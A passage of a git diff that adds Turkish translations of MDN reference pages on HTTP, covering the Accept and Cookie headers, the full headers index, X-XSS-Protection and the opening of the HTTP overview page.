0x00-0x1F(0x09 (HT) hariç), <code>"():<>?@[\]{}</code> ve 0x7F(DEL).</td> + </tr> + </tbody> +</table> + +<h2 id="Söz_Dizimi">Söz Dizimi</h2> + +<pre class="syntaxbox notranslate">Accept: <MIME_type>/<MIME_subtype> +Accept: <MIME_type>/* +Accept: */* + +// Çok tipli, <a href="https://developer.mozilla.org/en-US/docs/Glossary/quality_values">ağırlık</a> belirtilebilir söz dizimi: +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 +</pre> + +<h2 id="Komutlar">Komutlar</h2> + +<dl> + <dt><code><MIME_type>/<MIME_subtype></code></dt> + <dd>Tek <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME tip</a>, mesela <code>text/html</code>.</dd> + <dt><code><MIME_type>/*</code></dt> + <dd>Bir MIME tip altında herhangi bir alt tip. <code>image/*</code> tipi <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> tiplerini kapsar.</dd> + <dt><code>*/*</code></dt> + <dd>Herhangi bir MIME tip</dd> + <dt><code>;q=</code> (ağırlık)</dt> + <dd>Sıralamayı belirtmek için <a href="/en-US/docs/Glossary/Quality_values">ağırlık</a> denilen bir değer kullanılabilir.</dd> +</dl> + +<h2 id="Örnekler">Örnekler</h2> + +<pre class="notranslate">Accept: text/html + +Accept: image/* + +// Çoğu tarayıcıda varsayılan olarak gönderilir +Accept: */* + +// Gezinme için varsayılan +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 +</pre> + +<h2 id="Şartname">Şartname</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Şartname</th> + <th scope="col">İsim</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "Accept", "5.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<p class="hidden">Uyumluluk tablosu hazır verilerden otomatik olarak oluşturulmuştur. Eğer bu verilere katkı yapmak isterseniz lütfen <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> adresini inceleyin.</p> + +<p>{{Compat("http.headers.Accept")}}</p> + +<h2 id="İlişkili_konular">İlişkili konular</h2> + +<ul> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li> + <li>Content negotiation sonucunu belirten başlık: {{HTTPHeader("Content-Type")}}</li> + <li>Diğer benzer başlıklar: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li> +</ul> diff --git a/files/tr/web/http/headers/cookie/index.html b/files/tr/web/http/headers/cookie/index.html new file mode 100644 index 0000000000..dd0338e648 --- /dev/null +++ b/files/tr/web/http/headers/cookie/index.html @@ -0,0 +1,71 @@ +--- +title: Çerez +slug: Web/HTTP/Headers/Cookie +tags: + - HTTP + - Çerez +translation_of: Web/HTTP/Headers/Cookie +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Cookie</code></strong><span class="tlid-translation translation" lang="tr"> HTTP istek başlığı, daha önce sunucu tarafından {{HTTPHeader ("Set-Cookie")}} başlığıyla gönderilip tarayıcıda saklanmış olan </span><a href="/tr/docs/Web/HTTP/Cookies">HTTP çerezlerini</a><span class="tlid-translation translation" lang="tr"> içerir.</span></p> + +<p><code>Cookie</code><span class="tlid-translation translation" lang="tr"> başlığı isteğe bağlıdır ve örneğin tarayıcının gizlilik ayarları çerezleri engellediğinde gözardı edilebilir.</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Başlık türü</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>evet</td> + </tr> + </tbody> +</table> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">Cookie: <cerez-listesi> +Cookie: ad=deger +Cookie: ad=deger; ad2=deger2; ad3=deger3</pre> + +<dl> + <dt><cookie-list></dt> + <dd><code><cookie-adi>=<cookie-degeri></code><span class="tlid-translation translation" lang="tr"> biçimindeki ad ve değer çiftlerinden oluşan bir liste. Listedeki çiftler noktalı virgül ve boşlukla </span>(<code>'; '</code>) <span class="tlid-translation translation" lang="tr">ayrılır.</span></dd> +</dl> + +<h2 id="Örnekler">Örnekler</h2> + +<pre>Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Tanım</th> + <th scope="col">Başlık</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("6265", "Cookie", "5.4")}}</td> + <td>HTTP State Management Mechanism</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<p class="hidden"><span class="tlid-translation translation" lang="tr">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. Verilere katkıda bulunmak istiyorsanız, lütfen </span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a><span class="tlid-translation translation" lang="tr"> adresini ziyaret edin ve bize bir çekme isteği gönderin.</span></p> + +<p>{{Compat("http.headers.Cookie")}}</p> + +<h2 id="Bakınız">Bakınız</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/tr/web/http/headers/index.html b/files/tr/web/http/headers/index.html new file mode 100644 index 0000000000..e117a7583b --- /dev/null +++ b/files/tr/web/http/headers/index.html @@ -0,0 +1,370 @@ +--- +title: HTTP başlıkları +slug: Web/HTTP/Headers +tags: + - HTTP + - Headers + - NeedsTranslation + - Networking + - Reference + - TopicStub +translation_of: Web/HTTP/Headers +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="tlid-translation translation" lang="tr">HTTP başlıkları, istemci ve sunucunun istek veya yanıtla birlikte ek bilgiler iletebilmesini sağlar. Bir istek başlığı, büyük/küçük harfe duyarsız olarak başlığın adı, iki nokta üst üste </span> '<code>:</code>'<span class="tlid-translation translation" lang="tr">, ve ardından değeri (satır sonu karakterleri içermeden) şeklindedir. Değerden önceki boşluk karakterleri dikkate alınmaz.</span></p> + +<p><span class="tlid-translation translation" lang="tr">'X-' öneki kullanılarak çeşitli özel başlıklar eklenebilir, ancak standart olmayan alanların </span><a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a><span class="tlid-translation translation" lang="tr">'de standart hale gelmesinin neden olduğu rahatsızlıklardan dolayı bu uygulama Haziran 2012'de kaldırılmıştır; diğerleri ise asıl içeriği </span><a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a><span class="tlid-translation translation" lang="tr">'da tanımlanan bir </span><a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA kayıt defteri</a><span class="tlid-translation translation" lang="tr">'nde listelenmiştir. IANA, <a href="http://www.iana.org/assignments/message-headers/prov-headers.html">önerilen yeni HTTP mesaj başlıkları kaydını</a> da tutmaktadır.</span></p> + +<p>Başlık bilgileri bağlamlarına (context) göre gruplanabilir:</p> + +<ul> + <li>{{Glossary("General header")}}: Başlık bilgileri hem isteklerde hem de yanıtlarda görülür. Başlık bilgileri gövde hakkında direktifler içerir.</li> + <li>{{Glossary("Request header")}}: Çekilen kaynak veya istemci hakkında daha fazla bilgi içeren başlık bilgileridir. Sunucuya gönderilir.</li> + <li>{{Glossary("Response header")}}: Sunucudan alınan yanıt hakkında ek bilgi içeren başlık bilgileridir. Örneğin sunucuya yapılan istek sonucu veya sunucu hakkında bilgi içerir. Tarayıcıya gelir.</li> + <li>{{Glossary("Entity header")}}: Entity gövdesi hakkında daha fazla bilgi içeren başlık bilgileridir. Örneğin MIME-tipi veya içerik uzunluğu.</li> +</ul> + +<p>Başlık bilgileri aynı zamanda vekil sunucuların bunları nasıl ele aldığına göre de gruplanabilir:</p> + +<dl> + <dt><a id="e2e" name="e2e"></a>Uçtan-uca başlık bilgileri (End-to-end headers)</dt> + <dd>These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.</dd> + <dt><a id="hbh" name="hbh"></a>Hop-by-hop headers</dt> + <dd>These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.</dd> +</dl> + +<p>The following list summarizes HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.</p> + +<h2 id="Authentication">Authentication</h2> + +<dl> + <dt>{{HTTPHeader("WWW-Authenticate")}}</dt> + <dd>Bir kaynağa erişmek için kullanılacak authentication yöntemini tanımlar.</dd> + <dt>{{HTTPHeader("Authorization")}}</dt> + <dd>Contains the credentials to authenticate a user agent with a server.</dd> + <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt> + <dd>Defines the authentication method that should be used to gain access to a resource behind a Proxy server.</dd> + <dt>{{HTTPHeader("Proxy-Authorization")}}</dt> + <dd>Contains the credentials to authenticate a user agent with a proxy server.</dd> +</dl> + +<h2 id="Caching">Caching</h2> + +<dl> + <dt>{{HTTPHeader("Age")}}</dt> + <dd>The time in seconds the object has been in a proxy cache.</dd> + <dt>{{HTTPHeader("Cache-Control")}}</dt> + <dd>Specifies directives for caching mechanisms in both requests and responses.</dd> + <dt>{{HTTPHeader("Expires")}}</dt> + <dd>The date/time after which the response is considered stale.</dd> + <dt>{{HTTPHeader("Pragma")}}</dt> + <dd>Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the <code>Cache-Control</code> header is not yet present.</dd> + <dt>{{HTTPHeader("Warning")}}</dt> + <dd>A general warning field containing information about possible problems.</dd> +</dl> + +<h2 id="Client_hints">Client hints</h2> + +<dl> + <dt>{{HTTPHeader("Accept-CH")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Content-DPR")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("DPR")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Downlink")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Save-Data")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Viewport-Width")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Width")}}</dt> + <dd>...</dd> +</dl> + +<dl> + <dt> + <h2 id="Conditionals">Conditionals</h2> + </dt> + <dt>{{HTTPHeader("Last-Modified")}}</dt> + <dd>It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.</dd> + <dt>{{HTTPHeader("ETag")}}</dt> + <dd>It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request.</dd> + <dt>{{HTTPHeader("If-Match")}}</dt> + <dd>Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.</dd> + <dt>{{HTTPHeader("If-None-Match")}}</dt> + <dd>Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.</dd> + <dt>{{HTTPHeader("If-Modified-Since")}}</dt> + <dd>Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.</dd> + <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> + <dd>Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.</dd> +</dl> + +<h2 id="Connection_management">Connection management</h2> + +<dl> + <dt>{{HTTPHeader("Connection")}}</dt> + <dd>Controls whether the network connection stays open after the current transaction finishes.</dd> + <dt>{{HTTPHeader("Keep-Alive")}}</dt> + <dd>Controls how long a persistent connection should stay open.</dd> +</dl> + +<h2 id="Content_negotiation">Content negotiation</h2> + +<dl> + <dt>{{HTTPHeader("Accept")}}</dt> + <dd>Informs the server about the types of data that can be sent back. It is MIME-type.</dd> + <dt>{{HTTPHeader("Accept-Charset")}}</dt> + <dd>Informs the server about which character set the client is able to understand.</dd> + <dt>{{HTTPHeader("Accept-Encoding")}}</dt> + <dd>Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.</dd> + <dt>{{HTTPHeader("Accept-Language")}}</dt> + <dd>Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).</dd> +</dl> + +<dl> +</dl> + +<h2 id="Controls">Controls</h2> + +<dl> + <dt>{{HTTPHeader("Expect")}}</dt> + <dd>Indicates expectations that need to be fulfilled by the server in order to properly handle the request.</dd> + <dt>{{HTTPHeader("Max-Forwards")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Cookies">Cookies</h2> + +<dl> + <dt>{{HTTPHeader("Cookie")}}</dt> + <dd>Contains stored <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.</dd> + <dt>{{HTTPHeader("Set-Cookie")}}</dt> + <dd>Send cookies from the server to the user agent.</dd> + <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt> + <dd>Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.</dd> + <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt> + <dd>Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.</dd> + <dt> + <h2 id="CORS">CORS</h2> + </dt> + <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt> + <dd>Indicates whether the response can be shared.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt> + <dd>Indicates whether the response to the request can be exposed when the credentials flag is true.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt> + <dd>Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt> + <dd>Specifies the method or methods allowed when accessing the resource in response to a preflight request.</dd> + <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt> + <dd>Indicates which headers can be exposed as part of the response by listing their names.</dd> + <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt> + <dd>Indicates how long the results of a preflight request can be cached.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt> + <dd>Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt> + <dd>Used when issuing a preflight request to let the server know which <a href="/en-US/docs/Web/HTTP/Methods">HTTP method</a> will be used when the actual request is made.</dd> + <dt>{{HTTPHeader("Origin")}}</dt> + <dd>Indicates where a fetch originates from.</dd> + <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt> + <dd>Specifies origins that are allowed to see values of attributes retrieved via features of the <a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a>, which would otherwise be reported as zero due to cross-origin restrictions.</dd> +</dl> + +<h2 id="Do_Not_Track">Do Not Track</h2> + +<dl> + <dt>{{HTTPHeader("DNT")}}</dt> + <dd>Used for expressing the user's tracking preference.</dd> + <dt>{{HTTPHeader("Tk")}}</dt> + <dd>Indicates the tracking status that applied to the corresponding request.</dd> +</dl> + +<h2 id="Downloads">Downloads</h2> + +<dl> + <dt>{{HTTPHeader("Content-Disposition")}}</dt> + <dd>Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.</dd> +</dl> + +<h2 id="Message_body_information">Message body information</h2> + +<dl> + <dt>{{HTTPHeader("Content-Length")}}</dt> + <dd>indicates the size of the entity-body, in decimal number of octets, sent to the recipient.</dd> + <dt>{{HTTPHeader("Content-Type")}}</dt> + <dd>Indicates the media type of the resource.</dd> + <dt>{{HTTPHeader("Content-Encoding")}}</dt> + <dd>Used to specify the compression algorithm.</dd> + <dt>{{HTTPHeader("Content-Language")}}</dt> + <dd>Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.</dd> + <dt>{{HTTPHeader("Content-Location")}}</dt> + <dd>Indicates an alternate location for the returned data.</dd> + <dt> + <h2 id="Proxies">Proxies</h2> + </dt> +</dl> + +<dl> + <dt>{{HTTPHeader("Forwarded")}}</dt> + <dd>Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.</dd> + <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt> + <dd>Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.</dd> + <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt> + <dd>Identifies the original host requested that a client used to connect to your proxy or load balancer.</dd> + <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt> + <dd>identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer.</dd> + <dt>{{HTTPHeader("Via")}}</dt> + <dd>Added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.</dd> +</dl> + +<h2 id="Redirects">Redirects</h2> + +<dl> + <dt>{{HTTPHeader("Location")}}</dt> + <dd>Indicates the URL to redirect a page to.</dd> +</dl> + +<h2 id="Request_context">Request context</h2> + +<dl> + <dt>{{HTTPHeader("From")}}</dt> + <dd>Contains an Internet email address for a human user who controls the requesting user agent.</dd> + <dt>{{HTTPHeader("Host")}}</dt> + <dd>Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.</dd> + <dt>{{HTTPHeader("Referer")}}</dt> + <dd>The address of the previous web page from which a link to the currently requested page was followed.</dd> + <dt>{{HTTPHeader("Referrer-Policy")}}</dt> + <dd>Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.</dd> + <dt>{{HTTPHeader("User-Agent")}}</dt> + <dd>Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd> +</dl> + +<h2 id="Response_context">Response context</h2> + +<dl> + <dt>{{HTTPHeader("Allow")}}</dt> + <dd>Lists the set of HTTP request methods support by a resource.</dd> + <dt>{{HTTPHeader("Server")}}</dt> + <dd>Contains information about the software used by the origin server to handle the request.</dd> +</dl> + +<h2 id="Range_requests">Range requests</h2> + +<dl> + <dt>{{HTTPHeader("Accept-Ranges")}}</dt> + <dd>Indicates if the server supports range requests and if so, in which unit the range can be expressed.</dd> + <dt>{{HTTPHeader("Range")}}</dt> + <dd>Indicates the part of a document that the server should return.</dd> + <dt>{{HTTPHeader("If-Range")}}</dt> + <dd>Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.</dd> + <dt>{{HTTPHeader("Content-Range")}}</dt> + <dd>Indicates where in a full body message a partial message belongs.</dd> +</dl> + +<h2 id="Security">Security</h2> + +<dl> + <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt> + <dd>Controls resources the user agent is allowed to load for a given page.</dd> + <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt> + <dd>Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.</dd> + <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt> + <dd>Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.</dd> + <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt> + <dd>Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt> + <dd>Force communication using HTTPS instead of HTTP.</dd> + <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt> + <dd>Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt> + <dd>Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt> + <dd>Indicates whether a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}</dd> + <dt>{{HTTPHeader("X-XSS-Protection")}}</dt> + <dd>Enables cross-site scripting filtering.</dd> +</dl> + +<h2 id="Server-sent_events">Server-sent events</h2> + +<dl> + <dt>{{HTTPHeader("Ping-From")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Ping-To")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Last-Event-ID")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Transfer_coding">Transfer coding</h2> + +<dl> + <dt>{{HTTPHeader("Transfer-Encoding")}}</dt> + <dd>Specifies the the form of encoding used to safely transfer the entity to the user.</dd> + <dt>{{HTTPHeader("TE")}}</dt> + <dd>Specifies the transfer encodings the user agent is willing to accept.</dd> + <dt>{{HTTPHeader("Trailer")}}</dt> + <dd>Allows the sender to include additional fields at the end of chunked message.</dd> +</dl> + +<h2 id="WebSockets">WebSockets</h2> + +<dl> + <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Other">Other</h2> + +<dl> + <dt>{{HTTPHeader("Date")}}</dt> + <dd>Contains the date and time at which the message was originated.</dd> + <dt>{{HTTPHeader("Large-Allocation")}}</dt> + <dd>Tells the browser that the page being loaded is going to want to perform a large allocation.</dd> + <dt>{{HTTPHeader("Link")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Retry-After")}}</dt> + <dd>Indicates how long the user agent should wait before making a follow-up request.</dd> + <dt>{{HTTPHeader("SourceMap")}}</dt> + <dd>Links generated code to a <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>.</dd> + <dt>{{HTTPHeader("Upgrade")}}</dt> + <dd>The relevant RFC document for the <a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade header field is RFC 7230, section 6.7</a>. The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection. For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field. Niether party is required to accept the terms specified in the Upgrade header field. It can be used in both client and server headers. If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified. For details on the Connection header field <a href="https://tools.ietf.org/html/rfc7230#section-6.1">please see section 6.1 of the aforementioned RFC</a>.</dd> + <dt>{{HTTPHeader("Vary")}}</dt> + <dd>Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</dd> + <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt> + <dd>Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.</dd> + <dt>{{HTTPHeader("X-Firefox-Spdy")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-Requested-With")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-UA-Compatible")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Contributing">Contributing</h2> + +<p>You can help by <a href="/en-US/docs/MDN/Contribute/Howto/Document_an_HTTP_header">writing new entries</a> or improving the existing ones.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li> + <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li> +</ul> diff --git a/files/tr/web/http/headers/x-xss-protection/index.html b/files/tr/web/http/headers/x-xss-protection/index.html new file mode 100644 index 0000000000..fede0fd5d4 --- /dev/null +++ b/files/tr/web/http/headers/x-xss-protection/index.html @@ -0,0 +1,77 @@ +--- +title: X-XSS-Protection +slug: Web/HTTP/Headers/X-XSS-Protection +translation_of: Web/HTTP/Headers/X-XSS-Protection +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP X-XSS-Protection yanıt üstbilgisi, Internet Explorer'ın, Chrome'un ve Safari'nin, yansıyan bölgeler arası komut dosyalarını algıladıklarında sayfaların yüklenmesini durduran bir özelliğidir ({{Glossary("XSS")}}) Bu güvenlik önlemleri, modern tarayıcılarda siteler güçlü bir şekilde uygulandığında büyük oranda gerekli olmasa da{{HTTPHeader("Content-Security-Policy")}} satır içi JavaScript kullanımını devre dışı bırakan (<code>'unsafe-inline'</code>), henüz desteklemeyen eski web tarayıcılarının kullanıcıları için koruma sağlayabilirler {{Glossary("CSP")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Başlık Tipi</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Yasak başlık adı")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">X-XSS-Protection: 0 +X-XSS-Protection: 1 +X-XSS-Protection: 1; mode=block +X-XSS-Protection: 1; report=<reporting-uri> +</pre> + +<dl> + <dt>0</dt> + <dd>XSS filtrelemeyi devre dışı bırakır.</dd> + <dt>1</dt> + <dd>XSS filtrelemeyi etkinleştirir (genellikle tarayıcılarda varsayılan). Siteler arası komut dosyası çalıştırma saldırısı tespit edilirse, tarayıcı sayfayı sanitize eder (güvensiz kısımları kaldırır).</dd> + <dt>1; mode=block</dt> + <dd>XSS filtrelemesini etkinleştirir. Sayfa sızdırmaz hale getirmek yerine tarayıcı, bir saldırı tespit edilirse sayfanın görüntülenmesini engeller.</dd> + <dt>1; report=<reporting-URI> (Sadece Chromium)</dt> + <dd>XSS filtrelemesini etkinleştirir. Siteler arası komut dosyası çalıştırma saldırısı tespit edilirse, tarayıcı sayfayı sanitize eder ve ihlali bildirir. Bu, CSP'nin işlevselliğini kullanır{{CSP("report-uri")}} bir rapor göndermek yönergesi.</dd> +</dl> + +<h2 id="Örneğin">Örneğin</h2> + +<p>Yansıyan XSS saldırılarını tespit ettiklerinde sayfaları yüklemeyi engelleyin:</p> + +<pre class="brush: bash">X-XSS-Protection: 1; mode=block</pre> + +<p>PHP</p> + +<pre class="brush: php">header("X-XSS-Protection: 1; mode=block");</pre> + +<p>Apache (.htaccess)</p> + +<pre class="brush: bash"><IfModule mod_headers.c> + Header set X-XSS-Protection "1; mode=block" +</IfModule></pre> + +<h2 id="Özellikler">Özellikler</h2> + +<p>Spesifikasyonların veya taslakların bir parçası değildir.</p> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<p class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden oluşturulmuştur. Verilere katkıda bulunmak istiyorsanız, lütfen https://github.com/mdn/browser-compat-data adresini ziyaret edin ve bize bir çekme isteği gönderin.</p> + +<p>{{Compat("http.headers.X-XSS-Protection")}}</p> + +<h2 id="Bunlara_da_bakın">Bunlara da bakın</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlling the XSS Filter – Microsoft</a></li> + <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Understanding XSS Auditor – Virtue Security</a></li> + <li> + <p><a href="http://blog.innerht.ml/the-misunderstood-x-xss-protection/">The misunderstood X-XSS-Protection – blog.innerht.ml</a></p> + </li> +</ul> diff --git a/files/tr/web/http/index.html b/files/tr/web/http/index.html new file mode 100644 index 0000000000..0c331a9f9d --- /dev/null +++ b/files/tr/web/http/index.html @@ -0,0 +1,85 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - HTTP + - HTTP nedir + - Hypertext + - TCP/IP + - Web + - Web Geliştirme +translation_of: Web/HTTP +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><span class="seoSummary"><strong><dfn>Hypertext Transfer Protocol (HTTP) hipermedya belgelerinin "HTML gibi" iletilmesi için oluşturulmuş bir <a class="external" href="https://tr.wikipedia.org/wiki/Uygulama_tabakas%C4%B1">uygulama katmanı</a> protokolüdür. HTTP web tarayıcıları ve web sunucuları arasında iletişim için dizayn edilmiştir, fakat diğer amaçlar için kullanılabilir. HTTP klasik <a class="external" 